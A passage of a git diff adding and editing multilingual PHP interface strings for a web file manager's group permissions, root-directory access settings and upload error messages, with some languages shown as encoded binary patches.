"দর্শকরা", + "group_guest_desc" => "আপনি এই দলের সদস্য শুধুমাত্র [গ্রুপ ভাগ করা ডাইরেক্টরি] নিম্নলিখিত, শুধুমাত্র পাঠযোগ্য এক্সেস এক্সেস নয়,
।", + "group_role_lebel_desc" => "আপনার কাছে অ্যাডমিনস্ট্রেটর Jun দ্বারা নির্ধারিত সব অপারেটিং অধিকার গ্রুপ
ডকুমেন্টেশন মধ্যে, গ্রুপ এর একজন সদস্য", "button_save_and_add" => "সংরক্ষণ করুন এবং যোগ করার জন্য অবিরত", "path_cannot_search" => "ডিরেক্টরি অনুসন্ধান সমর্থন করে না!", "not_support" => "সমর্থিত নয়!", @@ -254,6 +276,10 @@ return array( "login_code" => "সঙ্কেত", "need_check_code" => "লগইন প্রমাণীকরণ কোডটি উন্মুক্ত", "login_rember_password" => "পাসওয়ার্ড মনে রেখো", + "setting_show_root_group" => "সব গ্রুপে একটি তালিকা", + "setting_show_root_group_desc" => "বৃক্ষ রুট ডিরেক্টরিটি গ্রুপ সকল গোষ্ঠী তালিকাভুক্ত করা হয়", + "setting_show_share_user" => "সকল ব্যবহারকারীর একটি তালিকা", + "setting_show_share_user_desc" => "সকল ব্যবহারকারীর বৃক্ষ রুট ডিরেক্টরিটি ভাগ গ্রুপ তালিকাভুক্ত করা হয়", "setting_clear_user_recycle" => "সকল ব্যবহারকারীর জন্য রিসাইকেল বিন খালি", "setting_clear_cache" => "ক্যাশে খালি করুন", "setting_icp" => "কপিরাইট বা রেকর্ড সংখ্যা", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "সর্বোচ্চ অনুমোদিত", "upload_size_info" => "আপনি আরো কনফিগার করতে চান তাহলে, php.ini সর্বোচ্চ অনুমোদিত আপলোড সংশোধন দয়া করে. যখন আপনি নির্বাচন একটি ফাইল এই কনফিগারেশন চেয়ে বড় স্বয়ংক্রিয়ভাবে ফিল্টার আউট হবে.", "upload_error" => "আপলোড ব্যর্থ", - "upload_error_http" => "আপলোড নেটওয়ার্ক বা ফায়ারওয়াল কারণে ব্যর্থ হয়েছে!", + "upload_error_http" => "নেটওয়ার্ক বা ফায়ারওয়াল ত্রুটি", "upload_muti" => "মাল্টি ফাইল আপলোড", "upload_drag" => "টেনে আনুন এবং ড্রপ আপলোড", "upload_drag_tips" => "আপলোড করার জন্য আলগা!", diff --git a/config/i18n/ca/main.php b/config/i18n/ca/main.php index 67f5139..0a3caff 100755 --- a/config/i18n/ca/main.php +++ b/config/i18n/ca/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "Afegir identitat de rol", "system_role_read" => "només lectura", "system_role_write" => "Podeu llegir i escriure", + "system_setting_root_path" => "accés root", + "system_setting_root_path_desc" => "Només un administrador del sistema pot accedir a tots els directoris, altres grups de drets dels usuaris només poden veure el seu propi directori d'usuari. Si voleu activar o desactivar l'accés d'administrador
a altres directoris, pot modificar el php open_basedir paràmetres anti-cross-site,com configurar", + "system_group_role_title" => "Gestió de permisos del Grup de", + "system_group_role_remove" => "D'acord per eliminar el paper del grup", + "system_group_role_style" => "estil", + "system_group_role_display" => "si", + "system_group_role_display_desc" => "Si un usuari permisos d'ajust grup", + "role_type_name_read" => "llegir", + "role_type_name_read:list" => "Llista de fitxers", + "role_type_name_read:info" => "Arxiu (carpeta) Propietat Vista, recerca de carpetes", + "role_type_name_read:copy" => "Còpia d'arxius", + "role_type_name_read:preview" => "vista prèvia d'arxius (imatges, documents, àudio i vídeo)", + "role_type_name_read:download" => "Arxiu (carpeta) Descarregar", + "role_type_name_write" => "escriure", + "role_type_name_write:add" => "Crear un arxiu (carpeta), extreure el fitxer comprimit", + "role_type_name_write:edit" => "Deseu el fitxer per editar", + "role_type_name_write:change" => "Canviar el nom, ajustar l'estructura de directoris", + "role_type_name_write:upload" => "Arxiu (carpeta) de càrrega, descàrrega remota", + "role_type_name_write:remove" => "Arxiu (carpeta) eliminar, tallar", + "group_guest" => "visitants", + "group_guest_desc" => "No és un membre d'aquest grup,
accés només a [directori compartit grup] següent, accés de només lectura.", + "group_role_lebel_desc" => "Vostè és un membre del grup, dins de la documentació del grup
per a tots els drets d'explotació estan assignats per l'administrador de juny", "button_save_and_add" => "Desa i continua afegint", "path_cannot_search" => "El directori no és compatible amb la recerca!", "not_support" => "No és compatible!", @@ -254,6 +276,10 @@ return array( "login_code" => "codis", "need_check_code" => "codi d'autenticació d'inici de sessió oberta", "login_rember_password" => "recordar contrasenya", + "setting_show_root_group" => "Una llista de tots els grups", + "setting_show_root_group_desc" => "Arbre de grups directori arrel és a la llista tots els grups", + "setting_show_share_user" => "Una llista de tots els usuaris", + "setting_show_share_user_desc" => "directori arrel de l'arbre de tots els usuaris comparteixen el grup és a la llista", "setting_clear_user_recycle" => "Buidar la paperera de reciclatge per a tots els usuaris", "setting_clear_cache" => "Buidar la memòria cau", "setting_icp" => "Els drets d'autor o número de registre", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "El màxim permès", "upload_size_info" => "Si voleu configurar més, si us plau modificar php.ini màxim de pujada permès. Quan se selecciona un arxiu més gran que aquesta configuració filtrarà automàticament.", "upload_error" => "Error de pujada", - "upload_error_http" => "No s'ha pogut pujar a causa de la xarxa o tallafocs!", + "upload_error_http" => "errors de xarxa o tallafocs", "upload_muti" => "càrrega d'arxius múltiples", "upload_drag" => "Arrossegar i deixar anar Càrrega", "upload_drag_tips" => "Afluixi per pujar!", diff --git a/config/i18n/cs/main.php b/config/i18n/cs/main.php index ea2ce18d90f6798fb07ab3876fc8dc0ed12178eb..8f560caa15f2f743bda718d97a239c8ea0a43f37 100755 GIT binary patch delta 2220 zcma)7zi%8x6h@KUfcT*#1Y$_^azZEv>zE=G7~2#^K?Ff8kWzrrGI#rOyLY=Y%gpSW zz2-pF79uMO%hgrL#bJ;oD&l5up{1eVFQ7vF3%r@Vy}KN-g{$+ThEc8s=mE!<9>e*|F=PYSSHaye*PGf{JA^OxyG$ zQ@S{e5{Sy9@&q9+_XDMqSfort4NUF4wB;t4Hkb+F~O&cvS66rMD)bGxF zq`46#V*O%hBI<%rKz?-oxfg7p(%HhZ=8H+ZY|p(w#UaZkz)a%4$INjse>`a%bNsQ# zsF)8`&qyxju~!P<9H@r#xamx4N+U%UqsvKgS0eKoIs5wJV7zDQdB(N1kovLK&j9%d z`;-HeNLoUcM`wiw{GNCy)W*Pd6^int$C?lgSeII^2X_P9b-)kNt2DhOLJ#Fxx!WSH z)w5N-6;SVQnUAMaUW+BB^peG7xeO{qG)d-dxGq{Wm;GMmfG2v1=??nI5-$+IXr??A z&9m}*VwZ=4v?a}L{zbxX*B2%r2MdMSmDK&UWTtW^3r(Y9r`5bSlby zn!Tz_wd6_D0sKNs=8Mz{y#_rI#WJ8SXS_J{#Uvm(g=O^`4X5?W0k03K15CGc zCb1pVq-Ga&zWw^e`%f?3`~bU(iZtFMoMiK~2{cupGI(dfaAUhTK2iDA#`5Z?KrO4N zWs@#FQH&zTY>tUFS2vAIjrX*1gB$s^`xgcwwlJ($k?9okXQ(GL8kDqz>iRSW_ apS3bj#fUns+SK;~iMuQek3W;Yz4k9yS3@5F delta 85 zcmV-b0IL6$*#f7=04dSqe6nQ3fqAZvETuWV@` raB^>AY{RK-#jkB3b7dfN!>x3~tsumWX&`24a%Fd6Y-}O3&U?o&EdeFi diff --git a/config/i18n/da/main.php b/config/i18n/da/main.php index aba17304da2ab1d657869c166ef44cc6492e55f1..203ee0d95b781b0f30714b12a62d6633e422fb89 100755 GIT binary patch delta 2115 zcmah~zmFS56oy1lq~Qc4(UA*!xPV02oRuO4*4;%yz?~G7NFfbyuo`>buIF}kW|^6_ z<%Wd@1e9ALfkYFxM7rh*I`{kq{4uR0n>{QQpn~QpVeckTC_x;u)|icm*dUFewpoRupKW@PH|95RA_(9V546HbFW_P3hkNOJHcq)E{LO z$s%z2wty)GZEhNOyKpoS7I+DZGi5VxO66oukh=;2DXt;g_5}Barho8ax=rm(mLaLt zG`-(>I4#Bn=mJ$dWEQ!gILe8;BcrXoYlTB7m|;0OgV7#?vB6}&?(glqZ;_eN_`$nh z?~{i+s~(Pf;Fw9#?H~8zmn2i!aqqw`=FZ_>pB>b{Z(Z#hEirb&N$h$S&_4_?!BZh6 z<0viF_(W5w_1~|*RsXT|>iuA6FxQi%q3_z`hmcT*2qG&9`VMae^q#CK;*DTw-E1wQ zr7rsWx5GUbwvcSr=HxveO|+Q^UfD^Hx~P19!(ihIYB*x7c~|7%O? z=os9&S%I-4fMbJ<_v&AUJJo+&3?$L8gUSc}n8^1Do#6&=1ECVVZgeZq;5Oh1Dz0<* z6r+Z5U>9epqKvCeE=RiP;0YZ|gv@jy(2(IKyTaf^;51~@Dya!a8uuW472*;<$G7_Z+owNRRT$Z@Mz}9 zCFWjGIV#mnd=!MxOY4gKebG#%qL-4iAzoo$=j=c)OJK{1Yv^rlBq>!{m#H86QRK;>f&^M`r&&^l!<_juLl5$ci zaawI(-|gG6o;J%aK(i#QPwpcHULp`k8A%9fjG%t)o9l;bHp{xa%~ON4sx%*pp%mI- zM&xY;jC?3M@pNALs)8@tXa?hwr1}5iw~MZ8c(<+BysTxknEQ-Eixd=o+xk+1s~f~? pLWxrA`gxw^>Gy}fzPIxT-GoS%wd*kv2B%~X37*K)&-L@&e*giq*s1^k delta 67 zcmbPxj;U)8(}s4*%^8aPdYg|1^r%l3t`JgFC^)=SA-$+HFGV3SO(8F}r0nprqHKlK XoSf7mg|y6~)bhlf9L3GK6&v&bkHZ?% diff --git a/config/i18n/de/main.php b/config/i18n/de/main.php index 770ef2f3ba22ccd01543e448798aa57241500472..f58c45dd1fd0c21eefb958ee38b48161803598bb 100755 GIT binary patch delta 2267 zcma)7&1)o85SM_L-AgonWyGauL=v3YD0ne!vLu^b#jKlb0#SCeG;gM>yC2j2Ui&^W zCJ4P=ym(OPyC?A`ECd3A;9-sd|A+PJW&Z#V*6XiKb|=wcrU%~Zs`}Nhs($sypEG|y zoq6)Clj}omF!ePW!$ssPDUF{o6MIm7R#w4thrI_jQalX3?iF|8U1aA6s0U>1?Cx0w z$OY_{F<6jt!L?D$NChlO5cV)vN5}^;ooj?63V}RC(FG;~R0umbhz-Iz3Tuu~MapIw z3K))0grI*x0eDRBA&<}lZY}D6Yd7C=tvYH4-tToUQ{#Ni{n4I&pHpx^eV+aL+5-)9;FPO*gHy<19Z-P`2`d)rL0 z6wOtFG5*;lE4oE^^W9~QObz0j?|rqB#o7ClF7`bzOhsr`_C5clgo)w4w;CZ;?#SF& zVyneZv-3;7;U>YRcx4qnsYvS+p9GdiRuEUPBdGwQIGvj>ex1GYk*_e72d$y2-qvOp zY+7bhxu|R$QOWp(cq?XKeXAoA^tCyBF6OS`iNo`{A8?%|?65}U{K~$&dDPt04O2$! zyW$|!;cjz5y_qBg7!KrFanEPcG^BD!%wdMUU}^DfXRcU?U&+s%B4x>f<%F8BVaSEu zUHeJ}t%Uf*+@uj{8GHVzrOBQk( zj$7`qp0;UeWC{;Bj!H~z8ofQK9105y>pTf^R9)DRLz|*7*o8G4a0ylfu*U?Um}(@gP{4oN6VgG+tWFdDCzE4;iA5# zjFE1gVVM*TqwLUFbs?CXA}`ylVR#zFu^hyZu)qn-4$UXY#{Xe`d198Q6s{Uxe21J; zIRsK8vb-*m0pCedE&f^ED}JbUnRP8HCc`f2Ed{&Q}kgk#`D zLzA*qgWN5Z(`j|Bq$Io{JaomYCq1O5h%iEG3}SPF#Ygbh0I(okV}B)@tuJKPUTdz1p451LWQVA+{_I#oYW^A|6Xsc zbu@}&pEN0jdLKZ&)d&=hT<$K9YIzCx%nDvS{^hmfe>y*Ykn32Esx@1(*+@!Re^NYz zyH1J9{n(&s%hPP>=X|tzyM))7O|@ZZI=KUDo@wdcZ%7xe3K5pNXPPcO7eL2Mp>L^> zmx3%#H|JT2=*-~15xM=Z+I9I0Ej2wTndAfM*9xb~Os$spr?{I}9 Q^3=P7F}XYb&i?k{za*y<$^ZZW delta 75 zcmV-R0JQ(>;R3(T0NGAa-wVAWmg; hdUs`VYanlAWpW^8X>Mg8Mrm?ocVTR7A+s`nxiPG?9r*wN diff --git a/config/i18n/el/main.php b/config/i18n/el/main.php index 1fd7f36..c74a483 100755 --- a/config/i18n/el/main.php +++ b/config/i18n/el/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "Προσθέστε Ταυτότητα Ρόλος", "system_role_read" => "Μόνο για ανάγνωση", "system_role_write" => "Μπορεί να διαβάσει και να γράψει", + "system_setting_root_path" => "πρόσβαση root", + "system_setting_root_path_desc" => "Μόνο ο διαχειριστής του συστήματος μπορεί να έχει πρόσβαση σε όλες καταλόγους, ομάδες άλλων δικαιωμάτων των χρηστών μπορεί να δει μόνο το δικό τους κατάλογο του χρήστη. Αν θέλετε να ενεργοποιήσετε ή να απενεργοποιήσετε
πρόσβασης διαχειριστή σε άλλους καταλόγους, μπορείτε να τροποποιήσετε το php open_basedir παραμέτρους αντι-cross-site,που", + "system_group_role_title" => "Διαχείριση Δικαιώματα Ρόλος του Ομίλου", + "system_group_role_remove" => "OK για να διαγράψετε το ρόλο ομάδα", + "system_group_role_style" => "στυλ", + "system_group_role_display" => "αν", + "system_group_role_display_desc" => "Είτε από τα δικαιώματα των χρηστών ρύθμιση ομάδα", + "role_type_name_read" => "ανάγνωση", + "role_type_name_read:list" => "Λίστα αρχείων", + "role_type_name_read:info" => "Αρχείο (φάκελο) κτήμα Θέα, αναζήτηση φακέλων", + "role_type_name_read:copy" => "Αντιγραφή αρχείου", + "role_type_name_read:preview" => "Προεπισκόπηση αρχείων (φωτογραφίες, έγγραφα, ήχου και βίντεο)", + "role_type_name_read:download" => "Αρχείο (φάκελο) Λήψη", + "role_type_name_write" => "γράφω", + "role_type_name_write:add" => "Δημιουργήστε ένα αρχείο (φάκελο), εξαγάγετε το συμπιεσμένο αρχείο", + "role_type_name_write:edit" => "Αποθηκεύστε το αρχείο για επεξεργασία", + "role_type_name_write:change" => "Μετονομασία, να προσαρμόσει τη δομή του καταλόγου", + "role_type_name_write:upload" => "Αρχείο (φάκελο) αποστολή, απομακρυσμένη λήψη", + "role_type_name_write:remove" => "Αρχείο (φάκελο) διαγραφή, κόψτε", + "group_guest" => "Επισκέπτες", + "group_guest_desc" => "Δεν είστε μέλος αυτής της ομάδας,
πρόσβαση μόνο σε [η ομάδα κοινόχρηστο κατάλογο] εξής, πρόσβαση μόνο για ανάγνωση.", + "group_role_lebel_desc" => "Είστε μέλος της ομάδας, μέσα στην τεκμηρίωση του ομίλου
για όλα τα δικαιώματα που λειτουργούν ανατεθεί από το διαχειριστή του Ιούνη", "button_save_and_add" => "Αποθηκεύστε και να συνεχίσει να προσθέσετε", "path_cannot_search" => "Ο κατάλογος δεν υποστηρίζει την αναζήτηση!", "not_support" => "Δεν υποστηρίζεται!", @@ -254,6 +276,10 @@ return array( "login_code" => "κώδικες", "need_check_code" => "Ο κωδικός σύνδεσης ταυτότητας ανοικτού", "login_rember_password" => "Απομνημόνευση κωδικού πρόσβασης", + "setting_show_root_group" => "Μια λίστα όλων των ομάδων", + "setting_show_root_group_desc" => "Δέντρο ομάδα ριζικό αναφέρεται σε όλες τις ομάδες", + "setting_show_share_user" => "Μια λίστα με όλους τους χρήστες", + "setting_show_share_user_desc" => "ριζικό Δέντρο όλων των χρηστών μοιράζονται την ομάδα που αναφέρονται", "setting_clear_user_recycle" => "Αδειάστε τον κάδο ανακύκλωσης για όλους τους χρήστες", "setting_clear_cache" => "Άδειασμα της προσωρινής μνήμης", "setting_icp" => "Πνευματικά δικαιώματα ή να γράψετε τον αριθμό", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "Η μέγιστη επιτρεπόμενη", "upload_size_info" => "Αν θέλετε να διαμορφώσετε περισσότερα, παρακαλούμε να τροποποιήσει php.ini ανώτατο επιτρεπόμενο όριο upload. Όταν επιλέγετε ένα αρχείο μεγαλύτερο από αυτήν τη ρύθμιση θα φιλτράρει αυτόματα.", "upload_error" => "Η μεταφόρτωση απέτυχε", - "upload_error_http" => "Η μεταφόρτωση απέτυχε λόγω δικτύου ή firewall!", + "upload_error_http" => "σφάλματα δικτύου ή firewall", "upload_muti" => "Μεταφόρτωση πολλαπλών αρχείων", "upload_drag" => "Drag and drop μεταφόρτωσης", "upload_drag_tips" => "Λύστε να ανεβάσετε!", diff --git a/config/i18n/en/main.php b/config/i18n/en/main.php index b71e980..00cdfc1 100755 --- a/config/i18n/en/main.php +++ b/config/i18n/en/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "Add role identity", "system_role_read" => "Only Read", "system_role_write" => "Read Write", + "system_setting_root_path" => "Root directory access", + "system_setting_root_path_desc" => "Only the system administrator can access all directories, and other rights groups can only see their own user directories.
If you want to enable or disable administrator access to other directories, you can modify the php open_basedir anti-cross-site parameters, how to set ", + "system_group_role_title" => "Group permissions role management", + "system_group_role_remove" => "OK to delete group roles", + "system_group_role_style" => "style", + "system_group_role_display" => "Displayed", + "system_group_role_display_desc" => "Whether to display when group user permissions are set", + "role_type_name_read" => "Read", + "role_type_name_read:list" => "File List", + "role_type_name_read:info" => "File (folder) property view, folder search", + "role_type_name_read:copy" => "File copy", + "role_type_name_read:preview" => "File preview (picture, document, audio and video, etc.)", + "role_type_name_read:download" => "File (folder) download", + "role_type_name_write" => "Write", + "role_type_name_write:add" => "Create a file (folder), compress the extracted file", + "role_type_name_write:edit" => "Edit the save file", + "role_type_name_write:change" => "Rename, adjust the directory structure", + "role_type_name_write:upload" => "File (folder) upload, remote download", + "role_type_name_write:remove" => "File (folder) delete, cut", + "group_guest" => "Visitors", + "group_guest_desc" => "You are not a member of this group,
Only access the contents of the [group share directory], read-only permissions.", + "group_role_lebel_desc" => "You are a member of this group,
All documents within the group All rights reserved Jun by admin", "button_save_and_add" => "Save and continue", "path_cannot_search" => "The directory does not support searching!", "not_support" => "not supported!", @@ -254,6 +276,10 @@ return array( "login_code" => "Verification", "need_check_code" => "Need Verification", "login_rember_password" => "Remember me", + "setting_show_root_group" => "List all groups", + "setting_show_root_group_desc" => "Does the tree directory root group list all groups", + "setting_show_share_user" => "List all users", + "setting_show_share_user_desc" => "Tree directory root group is listed for all user shares", "setting_clear_user_recycle" => "Clear all user recycle", "setting_clear_cache" => "Clear cache", "setting_icp" => "Copyright or record number", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "Upload max size", "upload_size_info" => "Please amend the maximum value allowed upload in php.ini. Greater than the configuration will be automatically filtered.", "upload_error" => "Upload failed", - "upload_error_http" => "Network or firewall caused upload failed!", + "upload_error_http" => "Network or firewall error", "upload_muti" => "Multiple file upload", "upload_drag" => "Drag and drop upload", "upload_drag_tips" => "Release can be uploaded!", diff --git a/config/i18n/es/main.php b/config/i18n/es/main.php index 1aba15f..9998ebc 100755 --- a/config/i18n/es/main.php +++ b/config/i18n/es/main.php @@ -98,6 +98,28 @@ return array( "system_role_add" => "Añadir identidad de rol", "system_role_read" => "Sólo lectura", "system_role_write" => "Puede leer y escribir", + "system_setting_root_path" => "acceso root", + "system_setting_root_path_desc" => "Sólo un administrador del sistema puede acceder a todos los directorios, otros grupos de derechos de los usuarios sólo pueden ver su propio directorio de usuario. Si desea activar o desactivar el acceso de administrador
a otros directorios, puede modificar el php open_basedir parámetros anti-cross-site,cómo configurar", + "system_group_role_title" => "Gestión de permisos del Grupo de", + "system_group_role_remove" => "Aceptar para eliminar el papel del grupo", + "system_group_role_style" => "estilo", + "system_group_role_display" => "si", + "system_group_role_display_desc" => "Si un usuario permisos de ajuste grupo", + "role_type_name_read" => "leer", + "role_type_name_read:list" => "Lista de archivos", + "role_type_name_read:info" => "Archivo (carpeta) Propiedad Vista, búsqueda de carpetas", + "role_type_name_read:copy" => "Copia de archivos", + "role_type_name_read:preview" => "previsualización de archivos (imágenes, documentos, audio y vídeo)", + "role_type_name_read:download" => "Archivo (carpeta) Descargar", + "role_type_name_write" => "escribir", + "role_type_name_write:add" => "Crear un archivo (carpeta), extraer el archivo comprimido", + "role_type_name_write:edit" => "Guarde el archivo para editar", + "role_type_name_write:change" => "Renombrar, ajustar la estructura de directorios", + "role_type_name_write:upload" => "Archivo (carpeta) de carga, descarga remota", + "role_type_name_write:remove" => "Archivo (carpeta) eliminar, cortar", + "group_guest" => "visitantes", + "group_guest_desc" => "Usted no es un miembro de este grupo,
acceso sólo a [el directorio compartido grupo] siguiente, acceso de sólo lectura.", + "group_role_lebel_desc" => "Usted es un miembro del grupo, dentro de la documentación del grupo
para todos los derechos de explotación están asignados por el administrador de junio", "button_save_and_add" => "Guardar y continuar añadiendo", "path_cannot_search" => "El directorio no es compatible con la búsqueda!", "not_support" => "No es compatible!", @@ -254,6 +276,10 @@ return array( "login_code" => "códigos", "need_check_code" => "código de autenticación de inicio de sesión abierta", "login_rember_password" => "recordar contraseña", + "setting_show_root_group" => "Una lista de todos los grupos", + "setting_show_root_group_desc" => "Árbol de grupos directorio raíz está en la lista todos los grupos", + "setting_show_share_user" => "Una lista de todos los usuarios", + "setting_show_share_user_desc" => "directorio raíz del árbol de todos los usuarios comparten el grupo está en la lista", "setting_clear_user_recycle" => "Vaciar la papelera de reciclaje para todos los usuarios", "setting_clear_cache" => "Vaciar la caché", "setting_icp" => "Los derechos de autor o número de registro", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "El máximo permitido", "upload_size_info" => "Si desea configurar más, por favor modificar php.ini máximo de subida permitido. Cuando se selecciona un archivo más grande que esta configuración filtrará automáticamente.", "upload_error" => "Error de subida", - "upload_error_http" => "No se pudo subir debido a la red o firewall!", + "upload_error_http" => "errores de red o cortafuegos", "upload_muti" => "carga de archivos múltiples", "upload_drag" => "Arrastrar y soltar Carga", "upload_drag_tips" => "Afloje para subir!", diff --git a/config/i18n/et/main.php b/config/i18n/et/main.php index f37b2e6cfa3e125b42f71aa527fbfcf67cef9eb4..21abbe0d7fec2fe9b882f1438d0fef75f1b999a7 100755 GIT binary patch delta 2110 zcmaJ?J8xW75JnM*M-w0-1OZ~S;*p3On~(}Cc9eod!cm|=X>iz#eJ1yg@45F}&SNcC zTToG=ThdUN9?3!i$)eecUw|n22XrZ*V9q^v*SmhKCEIJCd3^KD%s1cudg0$cF8uuW zmG<81#rLc+e%PQd29UniH(>Bt2zFP#6*ZHC$$@Kcuf9H>Sq>Gs9WjrVceoDPgPR;V zPgF6gifeY>B6?%NA#Ov7E_hT3<>VJGS^oB@jmas4Dg*`c-#j={U?)dKg(`ZDk!ey0Hk4VZO)! zo&-5*Iu5V0RD$5V=@FWu0n<=D+(yC67O?hwT{4hER;;-uXwYIs_2&APaMIPbnS0FO2&zrHmXKBKWNw+0(x?t{9uiW}{ZFJJ!HXc~IbAeh3kI`)>5sXyzBY_4y{0!THpUJjO_#(dEtP;{5)JOwKdw`2I$G zSL_;%`#qKzQd$yUznFXN=OeyuqU*Z~QkRO%##xAcF{lRFOL67~f?kT;Z)jKxb%I-- z+NY1-k&!#~u%@L)Q!ZkPyBK-rib}S;B;p#^Ps}MtxLTqxg4bXqeS?QGwwS?PqZL^g z8}GQzmj&H1&6JIm_*VWjG6GiI%1ia?n%R8)7L zF(@`51ddpdxwb66GJADLvv7PIe^&5)q;tIYtn8A&8Ye~Q-G$#>>0O1(yw*^ud6MrN z15czwGoCXLZbTkR51tDtDo%T6a=Ll1qj8!^XGY-+Zn8=f!8+|6aH_ zhP3XQg@&xt!bR=tW%jG2!7^Z7=9v;c0=WbhozEc6L2xCq7cEf>BD%7OwOe3K+w{Cn zs?gr~`qHC$D7`$m4pKkp9%b*0spV7%1*Pb69=xM?6GU)l7lUC@&LfbT5C6Kda((Oy zvp4K6R!7=&B)cwdMqWkv(zTf_fg|r_+lMDyr`N7?{n8S3_0A4Z3InDVMI({v2(O%s zBkVrGl#zw_u0TseQEPh^w5dwU7WNW(j`MloZuIA|BQWRgq$T0)?pxpFdC-SXKmF;0 ew;zz-Gqy|@)XUmblcULzm1`;|`tZ*xTlpXDjq_dr delta 64 zcmex;lBszI(}sr28+wpQ_Guc+TY9GD!u6lEYg|N=g;V4sR_=2UD2}C8as3 Sxrg^0-cyvRxcPjUjvfH4R~ "اضافه کردن هویت نقش", "system_role_read" => "فقط خواندنی", "system_role_write" => "خواندن و نوشتن", + "system_setting_root_path" => "دسترسی ریشه", + "system_setting_root_path_desc" => "فقط مدیر سیستم می تواند تمام دایرکتوری دسترسی، گروه های حقوق دیگر کاربران تنها می توانند دایرکتوری کاربری خود را مشاهده کنید. اگر می خواهید روشن یا خاموش
دسترسی مدیر به دایرکتوری دیگر، شما می توانید از PHP open_basedir پارامترهای ضد کراس سایت را تغییر دهید،مجموعه", + "system_group_role_title" => "گروه مدیریت مجوزهای نقش", + "system_group_role_remove" => "را حذف کنید نقش گروه", + "system_group_role_style" => "سبک", + "system_group_role_display" => "چه", + "system_group_role_display_desc" => "این که آیا یک گروه تنظیم مجوزهای کاربران", + "role_type_name_read" => "خواندن", + "role_type_name_read:list" => "لیست فایل", + "role_type_name_read:info" => "فایل (پوشه) ملک نمایش، جستجو پوشه", + "role_type_name_read:copy" => "کپی فایل", + "role_type_name_read:preview" => "پیش نمایش فایل (عکس، اسناد، صوتی و تصویری)", + "role_type_name_read:download" => "فایل (پوشه) دانلود", + "role_type_name_write" => "نوشتن", + "role_type_name_write:add" => "ایجاد یک فایل (پوشه)، استخراج فایل فشرده", + "role_type_name_write:edit" => "فایل را ذخیره کنید برای ویرایش", + "role_type_name_write:change" => "تغییر نام، تنظیم ساختار دایرکتوری", + "role_type_name_write:upload" => "فایل (پوشه) آپلود، دانلود از راه دور", + "role_type_name_write:remove" => "فایل (پوشه) حذف، برش", + "group_guest" => "بازدید", + "group_guest_desc" => "شما عضو این گروه نیستید،
دسترسی فقط برای دسترسی [گروه دایرکتوری به اشتراک گذاشته] زیر، فقط خواندنی.", + "group_role_lebel_desc" => "شما عضو این گروه هستند، در اسناد و مدارک گروه
تمام حقوق عامل اختصاص داده شده توسط مدیر ژوئن", "button_save_and_add" => "ذخیره و ادامه برای اضافه کردن", "path_cannot_search" => "دایرکتوری جستجو پشتیبانی نمی کند!", "not_support" => "پشتیبانی نمی شود!", @@ -254,6 +276,10 @@ return array( "login_code" => "کد", "need_check_code" => "کد تصدیق ورود به سیستم باز", "login_rember_password" => "به یاد داشته باشید رمز عبور", + "setting_show_root_group" => "یک لیست از تمام گروه های", + "setting_show_root_group_desc" => "درخت گروه دایرکتوری ریشه است همه گروه های ذکر شده", + "setting_show_share_user" => "یک لیست از تمام کاربران", + "setting_show_share_user_desc" => "دایرکتوری ریشه درخت از همه کاربران به اشتراک گذاشتن گروه ذکر شده است", "setting_clear_user_recycle" => "خالی سطل آشغال برای همه کاربران", "setting_clear_cache" => "خالی کردن حافظه پنهان", "setting_icp" => "کپی رایت و یا ثبت شماره", @@ -421,7 +447,7 @@ return array( "upload_max_size" => "حداکثر مجاز", "upload_size_info" => "اگر شما می خواهید برای پیکربندی بیشتر، لطفا تغییر حداکثر فایل php.ini آپلود مجاز. هنگامی که شما انتخاب یک فایل بزرگتر از این پیکربندی به طور خودکار فیلتر کردن.", "upload_error" => "آپلود انجام نشد", - "upload_error_http" => "آپلود ناموفق بود با توجه به شبکه یا فایروال!", + "upload_error_http" => "شبکه یا فایروال خطاهای", "upload_muti" => "آپلود چند فایل", "upload_drag" => "کشیدن و رها کردن آپلود", "upload_drag_tips" => "شل برای آپلود!", diff --git a/config/i18n/fi/main.php b/config/i18n/fi/main.php index 217bce4f9814436b2d47dd5ad21875b076a375fd..108227860447428ff619cd6f62bef003f5adf7da 100755 GIT binary patch delta 2263 zcmai0OK%)S5QYQ^iCltsMBxCf6+&^cc96Ir%U(_aDX}n*$U=&vrMy$|)=qEtq#tX| zX~Z2)BhFmr2M}2@SETs`h+hEz11Z%#4{sK)y@%EAPFM9;Uw!q}p8a|4r@ycL{_SmL zbL((Ew&)zG48w}qH#|G=Nj1#mI zP8G5o0IBlD=>0-0G>I-{q?ibPSFc0)*Uei+h%`9Yi#{|oZ2wWD!~uvvdgyx$UVpoF`O57s&n2x7NXTXq z_VN~Syj4;LS4HHluwsBpbqmnix+?$M`=DsJ$TJ)(n1|XR=}8HK4RO-5=6!e51rghl z#n^>~h{uG9W_`v;lzMG!0m(M0XL>pKOJbSbNkLiC8zLoA4mp2)CLV)H!8#WGqxdxH z_EKOIopqGOQd|ox)fs6{T=bM*R90qiL3k3uEtjPPT4Ehrl%A3L1u-PB1Sy$W97^yB zX)yz_pak{CrS&KJL`mK79&UNH{yiR-zRN2hPk1_dA$Hx07|2}_wGByV^pg-3nc4F? z0nzcJx(29?p~$@9i3Kj$`ToS3k|LyS9%(lyum5syRbS2H$rRLa13VP`HSwU=)lje~ z>ngZZZ*Yd4j@ysw((8QI@fS;3BCucu$-v-{&C|2|d$L?MAy4md+(BILX18 zTb$79Z4rDds=V2>qTDQQHK^4)wA`u&J$gM%i1RK-IQ=?TZb<* sp2cp}Fzz1q>AzozJ0BgONmI?U95yvb&3_OKu@RXm2G&nM%dUU=5`K3vd;kCd delta 63 zcmZp?%(U$Q(}qCF$(GBxH%BT?)7$JHD4;R9xms9GM})nMF6JTG**QPH^PO|PlSjXt z`u&en-+jE0e|c@@86~9&GHyC`R{pFvS$!i6i+#;DrOZFM_Edjl6GWs#7&@DKWMgJi z#-l`}LL0>mS;h38HpPBIEF)_eN1#DOiWOfoBdumJX{L%nM#@N`NHhJH z_!|+6iorIe8Xw&Al#;^azkaqj(}fR0AWf!Zrt-h%&-X90dxCXcZ2XGpedIKvioqM5HS(R8mtNGwRoHoHd1oEY&wJ;g?^c}|uG(bQx9Y)TF;Cyysy7p% 